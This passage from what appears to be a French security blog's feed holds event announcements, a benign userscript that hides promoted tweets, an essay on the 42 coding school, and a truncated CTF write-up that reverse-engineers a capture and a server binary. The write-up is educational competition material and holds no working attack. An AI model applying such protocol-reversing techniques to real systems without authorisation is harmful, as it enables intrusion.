</content><category term="Sécu"/><category term="nuit du hack"/><category term="event"/><category term="évènement"/><category term="sécurité"/><category term="HZV"/></entry><entry><title>La Nuit du Hack 2013, c'est bientôt !</title><link href="https://virtualabs.fr/secu/La-Nuit-du-Hack-2013-c-est-bientot" rel="alternate"/><published>2013-06-04T09:00:00+02:00</published><updated>2013-06-04T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-06-04:/secu/La-Nuit-du-Hack-2013-c-est-bientot</id><summary type="html">&lt;p&gt;Les 22 et 23 juin prochain se déroulent la «Nuit du Hack» millésime 2013, avec son lot de présentations, de workshops et bien sûr le CTF et le wargame public. 24 heures de hack, de geekeries et de rencontres avec des passionnés de bidouille et de hacks en tout genre …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Les 22 et 23 juin prochain se déroulent la «Nuit du Hack» millésime 2013, avec son lot de présentations, de workshops et bien sûr le CTF et le wargame public. 24 heures de hack, de geekeries et de rencontres avec des passionnés de bidouille et de hacks en tout genre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Des nouveautés !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La Nuit du Hack évolue au fil des ans, et on essaie de prendre en compte les différentes remarques/critiques/coups de gueule afin d'améliorer cet évènement. Et suite aux retours de l'année dernière, nous avons mis en place plusieurs nouveautés marquantes:
*  une salle à part pour le challenge Capture The Flag,
*  un wargame qui est désormais câblé plutôt que via le WiFi,
*  une augmentation du prix de l'entrée de 6 euros,
*  une entrée spéciale incluant l'adhésion à l'association HZV.
Bon, cela fait pas mal de choses d'un coup alors je vais détailler ces points un à un.&lt;/p&gt;
&lt;p&gt;Cette année, les participants du challenge Capture The Flag auront accès à une salle dédiée regroupant les dix équipes retenues et le staff. Ceci afin d'atténuer les nuisances sonores et de faciliter la concentration des équipes. La salle sera toutefois accessible au public, mais organisée de telle manière à ce que cela ne gêne pas les participants. Comme l'an dernier, les équipes participantes auront accès avant le public à cet espace, de manière à s'installer et prendre connaissance de la documentation et du règlement.&lt;/p&gt;
&lt;p&gt;La seconde nouveauté concerne le wargame public, qui sera câblé et accessible uniquement via ce moyen. Nous allons mettre à disposition plusieurs commutateurs sur lesquels les participants pourront se connecter, des câbles RJ45 sont donc à prévoir (ainsi que des switches, si vous en avez). Nous fournirons aussi l'alimentation nécessaire, dans la limite du possible (via des prises et rallonges). Les places assises réservées au wargame sont limitées, mais la moquette est confortable. Les résultats des wargame et du CTF (classement, graphes) seront diffusés en temps réel sur des écrans de projection.&lt;/p&gt;
&lt;p&gt;En ce qui concerne les entrées, il y a eu aussi du changement dont un notable: l'augmentation de 6 euros de l'entrée. Je sais ce que vous allez dire: le prix augmente tous les ans. Et ce n'est pas la faute de la crise, mais plutôt de plusieurs facteurs que nous avons négligé les années précédentes (comme l'accès à Internet via WiFi, la place occupée, les améliorations apportées). Un souci de qualité, quoi. De plus, nous avons mis une entrée plus chère à 70€, incluant l'entrée à la Nuit du Hack et l'adhésion à l'association HZV. Si vous souhaitez nous aider à organiser d'autres Nuit du Hack encore meilleures et participer à l'association HZV, n'hésitez pas ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L'association HZV&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Car oui, HZV est désormais une association de type loi de 1901, dont la déclaration au Journal Officiel est parue le 13 avril 2013 avec la référence W931011379. L'idée a mûrit pendant quelques années, et s'est concrétisée courant 2012.&lt;/p&gt;
&lt;p&gt;L'association a pour vocation d'organiser dans un avenir proche la Nuit du Hack, et de la financer en partie de manière indépendante. Elle a aussi pour objectifs de fournir des services aux membres, de leur donner accès à des ressources (matérielles notamment)  et de favoriser l'échange entre bidouilleurs de tout poil (de barbe). C'est elle qui encadrera désormais les meetings mensuels, qui ne seront pas réservés aux seuls membres mais à tout le monde, comme depuis leur création.&lt;/p&gt;
&lt;p&gt;Le site d'HZV sera bientôt modifié de manière à refléter ce statut, et nous allons mettre à disposition aussi vite que possible la procédure d'adhésion à l'association, l'envoi des cartes de membre et un descriptif plus complet des services proposés. Pour en savoir plus, contactez &lt;a class="reference external" href="mailto:info&amp;#64;hackerzvoice.net"&gt;info&amp;#64;hackerzvoice.net&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un stand HZV sera présent à la Nuit du Hack, où vous pourrez avoir de plus amples informations sur l'association, ses moyens et ses projets. Et si vous souhaitez adhérer ou simplement vous renseigner, n'hésitez pas !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les programme officiel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le site de la Nuit du Hack contient toutes les informations sur les présentations ainsi que sur les challenges. Cependant, pour vous mettre un peu l'eau à la bouche, voici la liste des présentations:
*  [EN] Abusing Browser User Interfaces for fun &amp;amp; profit, par Rosario Valotta
*  [EN] Practical exploitation of rounding vulnerabilities in internet banking applications, par Adrian Furtuna
*  [FR] Modern web frameworks, modern vulnerabilities, par Florent Batard et Nicolas Oberli
*  [EN] Love letters to Frank Abagnale (Oh how I PWN thee let me count the ways), par Jayson E. Street
*  [FR] Securing cities with CCTVs? Not so sure – A urban guerilla perspective, par Eric Filliol et Thibaut Scherrer
*  [EN] Cracking and analyzing Apple iCloud protocols: iCloud backups, Find My iPhone, document storage, par Vladimir Katalov
*  [EN] From kernel space to user heaven, par Jaime Sanchez
*  [EN] Thinking Outside of the Box, par Dave Kennedy
*  [FR] Social Engineering and Journalism: Methodology of human behavior, par Hicham Tolimat et Julie Gommes
*  [FR] Behind the Scenes of Web Attacks, par Davide Canali
*  [FR] Attacking e-voting: a concrete case, par Sebastien Andrivet
*  [FR] Physical Security flaws applied to Industrial Espionage, par Alexandre T. et Olivier C.&lt;/p&gt;
&lt;p&gt;Cette année encore les présentations sont en anglais et en français, et les slides et vidéos seront mis en ligne à la suite de l'évènement. Les présentations sont suivies de workshops divers, je vous invite à consulter le programme officiel des workshops sur le site de la Nuit du Hack. Cependant, certains sont bien alléchants:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Déobfuscation de code interprété, par Sebdraven&lt;/li&gt;
&lt;li&gt;Créer et installer sa propre PirateBox, par Bussiere&lt;/li&gt;
&lt;li&gt;Atelier LockPicking, par Mr. Jack&lt;/li&gt;
&lt;li&gt;Sécuriser les villes avec des caméras de surveillance ..., par E. Filiol &amp;amp; T. Scherrer&lt;/li&gt;
&lt;li&gt;DIY GSM network, par Mescal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Comment s'inscrire ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rien de bien compliqué pour s'inscrire:
-# Se rendre sur &lt;a class="reference external" href="http://www.nuitduhack.com"&gt;le site de la Nuit du Hack&lt;/a&gt;
-# Cliquer sur l'onglet &amp;quot;S'inscrire&amp;quot;
-# Choisir le type d'entrée et régler (un compte est requis pour régler et avoir accès aux billets)
-# Imprimer le billet d'entrée et son QR code associé&lt;/p&gt;
&lt;p&gt;Et ensuite, rendez vous au New York Hotel au pays de Mickey (à Disneyland Paris) le 22 à 9h00 tapantes ! Plus d'information sur le &lt;a class="reference external" href="http://www.nuitduhack.com"&gt;site officiel de la Nuit du Hack&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;(Et s'il vous vient l'envie de discuter ou de boire une bière en trollant, faudra pas hésiter)&lt;/p&gt;
</content><category term="Sécu"/></entry><entry><title>Marre des tweets promo dans votre Timeline ?</title><link href="https://virtualabs.fr/geekeries/Marre-des-tweets-promo-dans-votre" rel="alternate"/><published>2013-05-17T09:00:00+02:00</published><updated>2013-05-17T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-05-17:/geekeries/Marre-des-tweets-promo-dans-votre</id><summary type="html">&lt;p&gt;Les tweets «promoted» de Twitter sont des tweets publicitaires (ou presque) que Twitter affiche dans votre Timeline en fonction de vos goûts, passions ou autres détails de votre vie que vous voulez bien lui donner. Accessoirement, cela rend votre Timeline Twitter un brin illisible, et dans certains cas cela peut …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Les tweets «promoted» de Twitter sont des tweets publicitaires (ou presque) que Twitter affiche dans votre Timeline en fonction de vos goûts, passions ou autres détails de votre vie que vous voulez bien lui donner. Accessoirement, cela rend votre Timeline Twitter un brin illisible, et dans certains cas cela peut devenir irritant. N'étant pas un fan de ce type de pratique, j'ai trouvé une solution toute simple pour résoudre ce problème.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GreaseMonkey FTW&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'avais déjà lors de quelques pentests eu recours à GreaseMonkey pour manipuler des codes Javascript un brin hardcore, et j'en avais été pleinement satisfait. Pour faire court, GreaseMonkey est une extension disponible sur pas mal de navigateurs permettant de manipuler en «live» le code de la page, en toute transparence. Autrement dit, vous pouvez appliquer des transformations autant sur le contenu HTML que le code Javascript voire même les styles employés par une page. Cette extension nécessite sur Firefox une installation, mais à ma grande surprise elle est intégrée par défaut dans Chromium, l'alternative libre du navigateur Chrome de Google ! Et ça, eh bien ça n'a pas de prix.&lt;/p&gt;
&lt;p&gt;GreaseMonkey (GM) se base sur des scripts Javascripts contenant des métadonnées (description du script, auteur, etc ...) mais aussi du code actif. Le script est chargé selon un modèle d'URL (contenu dans les métadonnées), et peut agir avant ou après le lancement du Javascript sur la page. Autrement dit, on peut faire tout et n'importe quoi avec GM. Enfin, surtout n'importe quoi. Il existe des scripts pour relooker Twitter, pour ajouter des fonctionnalités, pour modifier des comportements de site, etc ... Vous pourrez d'ailleurs en trouver plein sur le site &lt;a class="reference external" href="http://www.userscripts.org"&gt;userscripts.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And now, ladies and gentlemen, &amp;quot;le&amp;quot; script !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vous vous attendiez à un script de fou ? A un code intégrant des gros hacks et tout et tout ? Vous allez être déçus. Tout simplement parce que les éléments &amp;quot;promoted&amp;quot; de Twitter possèdent un style qui leur est propre, comme &lt;em&gt;promoted-tweet&lt;/em&gt;, &lt;em&gt;promoted-account&lt;/em&gt; ou &lt;em&gt;promoted-trend&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La solution: forcer leur disparition à grand coup de CSS et de &lt;em&gt;display: none&lt;/em&gt;. Pas moins que cela. Pour réaliser cette modification de manière automatique, j'ai codé en quelques minutes le script suivant:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
// ==UserScript==
// &amp;#64;author          Damien &amp;quot;virtualabs&amp;quot; Cauquil
// &amp;#64;name            Promote Me Not
// &amp;#64;namespace       http://virtualabs.fr/pmn/
// &amp;#64;icon            http://virtualabs.fr/pmn/pmn.png
// &amp;#64;icon64          http://virtualabs.fr/pmn/pmn.png
// &amp;#64;updateURL       http://virtualabs.fr/pmn/pmn.user.js
// &amp;#64;version         1.1
// &amp;#64;description     Remove Twitter's promoted tweets from your TL
// &amp;#64;match           http://*.twitter.com/*
// &amp;#64;match           https://*.twitter.com/*
// &amp;#64;grant           GM_addStyle
// &amp;#64;licence         (CC) Attribution Share Alike (CC-BY-SA)
// &amp;#64;resource icon   /pmn/pmn.png
// ==/UserScript==

/* Install some neat CSS rules */
GM_addStyle(&amp;quot;.promoted-tweet * display: none * .promoted-trend * display: none * .promoted-account * display: none *&amp;quot;);
&lt;/pre&gt;
&lt;p&gt;Le script est téléchargeable &lt;a class="reference external" href="http://virtualabs.fr/pmn/pmn.user.js"&gt;à cette addresse&lt;/a&gt; et peut être installé automatiquement via un glisser-déposer dans Chromium (faites un glisser/déposer du fichier dans la liste des extensions, menu &amp;quot;Paramètres&amp;quot; onglet &amp;quot;Extensions&amp;quot;), ou via l'extension GreaseMonkey sous Firefox et autres navigateurs compatibles. En espérant que cela vous rende la vie plus belle et plus joviale.&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>42, v'la l'école !</title><link href="https://virtualabs.fr/humeur/42-v-la-l-ecole" rel="alternate"/><published>2013-03-27T09:00:00+01:00</published><updated>2013-03-27T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-03-27:/humeur/42-v-la-l-ecole</id><summary type="html">&lt;p&gt;Xavier Niel vient tout juste de présenter son école de programmation, &lt;a class="reference external" href="http://42.fr/"&gt;42&lt;/a&gt;. L'initiative est quelque peu inédite mais résonne tout particulièrement dans mon esprit car cela fait des années que je prêche le constat fait par M. Niel: le système scolaire actuel n'est plus efficace dans le contexte des nouvelles …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Xavier Niel vient tout juste de présenter son école de programmation, &lt;a class="reference external" href="http://42.fr/"&gt;42&lt;/a&gt;. L'initiative est quelque peu inédite mais résonne tout particulièrement dans mon esprit car cela fait des années que je prêche le constat fait par M. Niel: le système scolaire actuel n'est plus efficace dans le contexte des nouvelles technologies. Cela fait aussi écho aux diverses initiatives récentes prônant le développement, telles celle mise en avant par &lt;a class="reference external" href="http://www.code.org/"&gt;MM. Zuckerberg et Gates&lt;/a&gt; ou encore le plébiscite de &lt;a class="reference external" href="http://www.guardian.co.uk/education/2012/mar/31/why-kids-should-be-taught-code?CMP=twt_gu"&gt;John Naughton sur le site du Guardian&lt;/a&gt; pour l'enseignement de la programmation à l'école. Décryptage.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Back to the future&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La programmation c'est le bien. J'ai commencé par cela il y a de nombreuses années, et je crois que ce qui m'a fasciné dans ce domaine c'est tout simplement le potentiel de créativité qu'il offre. La programmation est un outil permettant de créer d'autres outils. Pas moins que cela. J'ai commencé avec du BASIC. Sur un PC 486DX400. Une vieille bête qui tournait sous Windows 3.1. Oui, ce vieil OS bien vieux où l'on devait taper &amp;quot;win&amp;quot; à l'invite MS-DOS pour lancer l'environnement de bureau (quand je pense aux windowsiens qui se moquent du &lt;em&gt;startx&lt;/em&gt; ...), mais qui m'a permis de faire mes armes en programmation. Je n'en suis pas resté là, j'ai appris ensuite le C, le C++, l'assembleur, et les langages du web bien plus tard. J'étais au collège. Pendant que les autres passaient leurs soirées devant la télévision ou participaient à des boums, je codais. Je créais. Car coder ça n'est pas simplement &amp;quot;que&amp;quot; pisser du code. Comme le hacking, c'est un état d'esprit, un apprentissage qui entraîne à la logique et à la réflexion. Comme aime le dire &lt;a class="reference external" href="http://code.google.com/p/corkami/"&gt;Ange Albertini&lt;/a&gt;: il s'agit &amp;quot;juste&amp;quot; de résoudre des casse-têtes. Rien que cela. Et les résoudre de la meilleure manière qu'il soit.&lt;/p&gt;
&lt;p&gt;Retour à la réalité. La réalité de l'école 42, une &amp;quot;école de programmation&amp;quot; ouverte à tous et gratuite avec une sélection à l'entrée: seuls les meilleurs codeurs seront retenus et se verront dispenser un enseignement digne d'un &lt;em&gt;code guru&lt;/em&gt;. A l'époque où j'ai appris par moi-même la &amp;quot;programmation&amp;quot;, je rêvais de trouver une école de ce type. Une école où l'on puisse s'épanouir dans la création de code, une école qui valorise les profils comme le mien. Mais je n'en ai pas trouvé. J'ai essayé l'université, une grosse déception. A quoi ça sert d'apprendre le Pascal ? D'apprendre seulement à aligner deux lignes de code sans que l'on sache pourquoi ? &lt;em&gt;We're doing it wrong !&lt;/em&gt;. Et maintenant, cette école spécialisée, qui vise à former l'élite des codeurs.  Qui vont apprendre à maîtriser le C, le C++, la vie quoi. Où l'algorithmique sera une composante essentielle et pas un truc qui se résume à apprendre par coeur des algos de tri. Il l'a fait. Sincèrement, sur le principe j'approuve totalement. Si, si. J'aurais aimé m'inscrire, il y a quelques années déjà.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We are not code monkeys anymore !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le programme de l'école semble un brin prétentieux, mais avec des élèves motivés à bloc et ayant une capacité d'adaptation, cette école peut envoyer du poney, comme on dit par chez nous. Néanmoins, j'ai quelques angoisses pour la suite, qui peuvent se résumer à deux grosses angoisses:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;les élèves d'aujourd'hui sont passifs (de manière générale, il y a des exceptions)&lt;/li&gt;
&lt;li&gt;le statut de &amp;quot;programmeur&amp;quot; en France est disons ... particulier&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ma première angoisse est issue d'une observation depuis quelques années des profils d'élèves que je croise: lors d'entretiens, lors de stages, durant les meets HZV. Une tendance générale se dessine: ils sont attentistes. Ils sont en école d'ingénieur, apprennent à développer (du moins on le croit) mais ne perçoivent pas forcément l'ouverture que leur donne cette discipline. Certains ont ouvert les yeux et sont conscient de ce que cela leur permet de faire (n'est-ce pas Jonathan ;): je me rappelle la tête d'une connaissance quand je lui ai mis en tête de coder une machine virtuelle, et qui le lendemain me montrait un prototype presque viable. Tout bonnement motivant. Pour la faire courte: il faudrait que les élèves arrêtent de choisir leur école en fonction du salaire qu'ils souhaitent avoir, mais plutôt en fonction de ce qu'ils veulent vraiment faire. De leur passion. Et choisir une école qui met en avant le code, comme Epitech ou 42. Où ils devront s'immerger et repousser leurs limites. Et être créatifs.&lt;/p&gt;
&lt;p&gt;La seconde est tout simplement une généralité en France: un développeur, c'est un pisseur de code. Point barre. Le prolo de l'informatique, incapable de réfléchir et qui pond juste le code qui fait quelque chose. &amp;quot;Bah tu cliques sur le bouton là, et ça te fait des chocapics. Okay, tu peux me faire ça ?&amp;quot;. J'ai travaillé comme ingénieur R&amp;amp;D auparavant. J'ai pondu aussi du code. Et je me rappelle toujours d'une bonne blague dans le milieu:&lt;/p&gt;
&lt;p&gt;«Quel est le futur d'un développeur en France ? Chef de projet !»&lt;/p&gt;
&lt;p&gt;Cherchez l'erreur. Tant que l'on considérera la programmation comme une discipline qui consiste simplement à traduire une solution à un problème en langage informatique, les développeurs resteront maltraités et mal payés. Mais la programmation est et restera un art. Créer du code (ou &amp;quot;coder&amp;quot;) n'est pas simplement pisser du code, mais apporter une réponse intelligente et parfois brillante à un problème posé, et cela de manière optimale. Coder, c'est tout simplement résoudre un ensemble de casse-têtes de la manière la plus intelligente possible, et faire en sorte que cela fonctionne dans tous les cas. Certains codes méritent le respect, même de la part d'un chef de projet ou d'un ingénieur sécurité. Pour illustrer mon propos, je vous propose de jeter un oeil à &lt;a class="reference external" href="http://www.hugi.scene.org/compo/compoold.htm#compo25"&gt;ce solveur de sudoku qui fait 67 octets&lt;/a&gt;, ou encore ces &lt;a class="reference external" href="http://www.hugi.scene.org/compo/compoold.htm#compo29"&gt;générateurs de labyrinthes&lt;/a&gt;, qui sont des bijoux de code. Allez, &lt;a class="reference external" href="http://www.youtube.com/watch?v=8To-6VIJZRE"&gt;une petite vidéo en prime&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Alea jacta est&lt;/strong&gt;&lt;/p&gt;
&lt;ol class="upperalpha simple" start="13"&gt;
&lt;li&gt;Niel, quelle bonne idée que cette école ! J'admire l'initiative et l'ambition de celle-ci et de son programme, tout en appréciant la référence à l'univers de Douglas Adams. Cependant, n'est-ce pas mettre la charrue avant les boeufs, dans ce pays où le statut de développeur est à des années-lumière de ce qu'il est dans un pays comme les Etats-Unis d'Amérique par exemple ? Former de bons développeurs c'est bien, mais les sociétés françaises actuelles qui sont en partie responsables de l'immobilisme dans les cycles de formation sauront-elles valoriser les développeurs issus de cette école et de ce cursus particulier ? J'ai peur. Et je suis content à la fois. Mitigé en somme. Ce serait dommage de ne pas pouvoir récompenser les talents qui seront révélés. Vraiment dommage.&lt;/li&gt;
&lt;/ol&gt;
</content><category term="Humeur"/></entry><entry><title>Meeting HZV d'avril, ça déménage !</title><link href="https://virtualabs.fr/geekeries/Meeting-HZV-d-avril-ca-demenage" rel="alternate"/><published>2013-03-19T09:00:00+01:00</published><updated>2013-03-19T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-03-19:/geekeries/Meeting-HZV-d-avril-ca-demenage</id><summary type="html">&lt;p&gt;Comme certains d'entre vous le savent peut-être, chez HZV tous les premiers samedis du mois, c'est l'occasion de se rassembler autour de bières et d'ordinateurs afin d'échanger sur la sécurité informatique, de rencontrer d'autres hackers et de refaire le monde. Mais c'est aussi bien souvent un moment de partage, durant …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Comme certains d'entre vous le savent peut-être, chez HZV tous les premiers samedis du mois, c'est l'occasion de se rassembler autour de bières et d'ordinateurs afin d'échanger sur la sécurité informatique, de rencontrer d'autres hackers et de refaire le monde. Mais c'est aussi bien souvent un moment de partage, durant lequel n'importe qui peut présenter un sujet, faire connaître un projet, ou réaliser un atelier pratique. D'habitude, cela se déroule dans les locaux de Sysdream, mais en avril il y a du changement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On déménage !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Car oui, les locaux de Sysdream c'est bien, mais c'est petit, trop petit, et on se retrouve vite entassé dans pas beaucoup de mètres carrés. Alors quand deux élèves de l'ESIEA proches d'HZV nous proposent de faire un meeting HZV dans leur école, avec un amphi (avec plein de place !) et du matos et de la bière, on ne peut pas dire non. Le meet HZV du mois d'avril, ça se passe donc le samedi 6 avril 2013 de 10h00 à 18h00, dans les locaux de l'ESIEA.&lt;/p&gt;
&lt;p&gt;Au programme: des talks, des speakers, du streaming live, des ateliers, des bières et du hack !&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;[talk] Google Apps Hacking&lt;/li&gt;
&lt;li&gt;[talk] Maux de passe, l'indigeste problématique de l'authentification&lt;/li&gt;
&lt;li&gt;[talk] Sécurité Physique : l'efficacité des brevets dans la copie des clés&lt;/li&gt;
&lt;li&gt;[talk] Sécurité Iphone&lt;/li&gt;
&lt;li&gt;[talk] Android core hacking for fun and owning&lt;/li&gt;
&lt;li&gt;[atelier] Wargaming for newbs + Tools usage&lt;/li&gt;
&lt;li&gt;[atelier] Metasploit exploit writing and pentest usage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Et moi, je peux venir ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour ceux qui ne connaitraît pas le principe des &amp;quot;meets&amp;quot; HZV, la règle est simple: c'est ouvert à tout le monde, sans aucun jugement sur la personne ou les compétences. Que vous soyez novice en sécurité informatique ou confirmé, que vous ayez 12 ans ou 77ans, vous êtes le(la) bienvenu(e). Si vous êtes curieux/curieuse, passionné/e, intrigué/e, ou tout simplement amateur/trice de geekeries et de bière, l'endroit vous est grand ouvert.&lt;/p&gt;
&lt;p&gt;Si vous le souhaitez, amenez un laptop ou deux histoire de pouvoir profiter au mieux de l'event; pour ceux qui seraient plus branché hacking hardware, des arduinos ou launchpad voire même des raspberry Pi feront aussi très bien l'affaire !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C'est bien, mais c'est loin ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'ESIEA, c'est dans Paris 5ème, accessible via le métro 7 station &amp;quot;Les Gobelins&amp;quot; (ça ne s'invente pas). Si vous venez de province, c'est à un saut de métro de la gare Montparnasse (Métro 6 Nation puis métro 7 à place d'Italie), bref plutôt accessible. Et ne faites pas la moue, certains viennent de Toulon ou de Marseille pour y participer !&lt;/p&gt;
&lt;p&gt;Si vous ne pouvez toutefois pas venir, les talks seront enregistrées et probablement streamées sur Internet. Les informations pour accéder au stream et/ou visualiser les vidéos des talks seront diffusées en temps voulu (suivez de près &amp;#64;hackerzvoice =).&lt;/p&gt;
&lt;p&gt;Pour plus d'info, je vous renvoie à la page décrivant &lt;a class="reference external" href="https://www.hackerzvoice.net/meeting-06-04-2013"&gt;le programme et la localisation&lt;/a&gt;. Sinon, vous pouvez poser vos questions à &lt;a class="reference external" href="http://twitter.com/hackerzvoice"&gt;&amp;#64;hackerzvoice&lt;/a&gt;, ou à &lt;a class="reference external" href="mailto:meeting&amp;#64;hackerzvoice.net"&gt;meeting&amp;#64;hackerzvoice.net&lt;/a&gt;.&lt;/p&gt;
</content><category term="Geekeries"/><category term="event"/><category term="évènement"/><category term="sécurité"/><category term="HZV"/><category term="meeting"/></entry><entry><title>NdH2k13 Quals Misc500 write-up [en]</title><link href="https://virtualabs.fr/secu/NdH2k13-Quals-Misc500-write-up-en" rel="alternate"/><published>2013-03-18T08:00:00+01:00</published><updated>2013-03-18T08:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2013-03-18:/secu/NdH2k13-Quals-Misc500-write-up-en</id><summary type="html">&lt;p&gt;Ndh2k13 quals got 352 participating teams and last only 24 hours, with only 14 tasks to solve. Among them, the Misc500 (namely &amp;quot;Wiretapped communication&amp;quot;) stays unsolved and we think interesting to share with all of you the way it was intended to be solved. I created this task based on …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ndh2k13 quals got 352 participating teams and last only 24 hours, with only 14 tasks to solve. Among them, the Misc500 (namely &amp;quot;Wiretapped communication&amp;quot;) stays unsolved and we think interesting to share with all of you the way it was intended to be solved. I created this task based on my professional experience, to make it look like a concrete and real case. Here is how to solve it.&lt;/p&gt;
&lt;p&gt;Contestants were provided with a ZIP file, containing a network capture (a PCAP dump) and what seems to be a binary version of the server program used by John Adams to communicate securely.  The communication protocol is weird but having a look at an hexdump of the conversation allows us to draw some hypothesis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analyzing the PCAP dump&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First of all, there seems to be a common pattern in the exchanged data. Many blocks of information starts with a byte, then what seems to be a 32-bit coded size, then this exact number of bytes and 4 extra bytes. No idea of what it is or how it is used. Anyway, some cleartext appears in the first bytes sent by the client:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
00000000  01 0b 00 00 00 6a 6f 68  6e 2e 61 64 61 6d 73 00 .....joh n.adams.
00000010  24 7f a8 19                                      $...
&lt;/pre&gt;
&lt;p&gt;&amp;quot;john.adams&amp;quot; is 10 bytes long, 11 (0x0b) with the null character, but some extra bytes left and we have no clue about it. The first byte seems to be a message ID or something like this, but this has to be confirmed with the reverse-engineering of the binary application.&lt;/p&gt;
&lt;p&gt;All the messages exchanged between the client and the server are built upon this pattern, however there is no more cleartext past the first message sent by the client, that probably means a kind of encryption is used to ensure confidentiality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Running the binary&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The binary file is a 64-bit ELF executable:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ file protoss
protoss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x93f6def440dcf9552dee2f55efad461e72f1516e, stripped
&lt;/pre&gt;
&lt;p&gt;Simply running the binary raises many error messages stating some libraries are missing:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ./protoss
./protoss: error while loading shared libraries: libboost_system.so.1.42.0: cannot open shared object file: No such file or directory
...
./protoss: error while loading shared libraries: libmysqlcppconn.so.4: cannot open shared object file: No such file or directory
...
./protoss: error while loading shared libraries: libcrypto.so.0.9.8: cannot open shared object file: No such file or directory
...
&lt;/pre&gt;
&lt;p&gt;Seems this binary uses a MySQL connection and some crypto APIs, pretty interesting. If you try to use LD_PRELOAD or something similar, you may experience some troubles with the MySQL C++ connector library, as I did during my tests. Anyway, the MySQL connection step seems to work when using the correct libraries in conjonction with the LD_PRELOAD trick, that'll do the job.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;To make it work, use OpenSSL version 0.9.8, MysqlCppConnector, Boost System, and Boost Thread MT libraries. Mysql user is 'protoss' with a password of 'XXXXXXXXXXX' with full access to a database called 'proto' and a table named 'proto'. Its schema and content are provided in the archive at the end of this post.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strings first !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Searching for strings in the binary application is always a good idea, and sure it was for this task too. You may have spot these strings:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
tcp://127.0.0.1:3306
proto
protoss
XXXXXXXXXXX
&lt;/pre&gt;
&lt;p&gt;This is pretty much an SQL connection string, and maybe some credentials. After some tests using the LD_PRELOAD trick with the original libraries (using every correct version), you would find the correct combination and therefore the following connection string:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
mysql://protoss:XXXXXXXXXXX&amp;#64;127.0.0.1:proto
&lt;/pre&gt;
&lt;p&gt;It is straightforward to set up a MySQL server on your machine, create a database named &amp;quot;proto&amp;quot; and create a &amp;quot;protoss&amp;quot; user identified by the password &amp;quot;XXXXXXXXXXX&amp;quot;. Once done, running the binary again displays an informational string stating the database connection is perfectly working:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[messaging] connecting to database ....
[messaging] starting ...
&lt;/pre&gt;
&lt;p&gt;During my tests, I was not able to perform requests using a more recent version of the MySQL C++ connector library. I decided to make a deep analysis of this binary using only IDA instead of debugging the server. But if you find the correct system configuration with the exact same versions of all the libs, you would be able to have more information by debugging it.&lt;/p&gt;
&lt;p&gt;However, running a netstat showed that this process listens on port 2013. If you were a bit curious about &lt;em&gt;z0b.nuitduhack.com&lt;/em&gt;, you'd have noticed the same port listening. Keep it in mind, and continue the reading.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Finding the custom checksum algorithm ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The first strange thing we observed by analyzing the provided PCAP file was the  pattern itself. If the server is able to communicate with some client software, it must be able to parse the messages it receives. And there must be a piece of code for that. Starting from the socket's related functions (accept(), send(), recv()), you may eventually found in the program the piece of code handling this stuff.&lt;/p&gt;
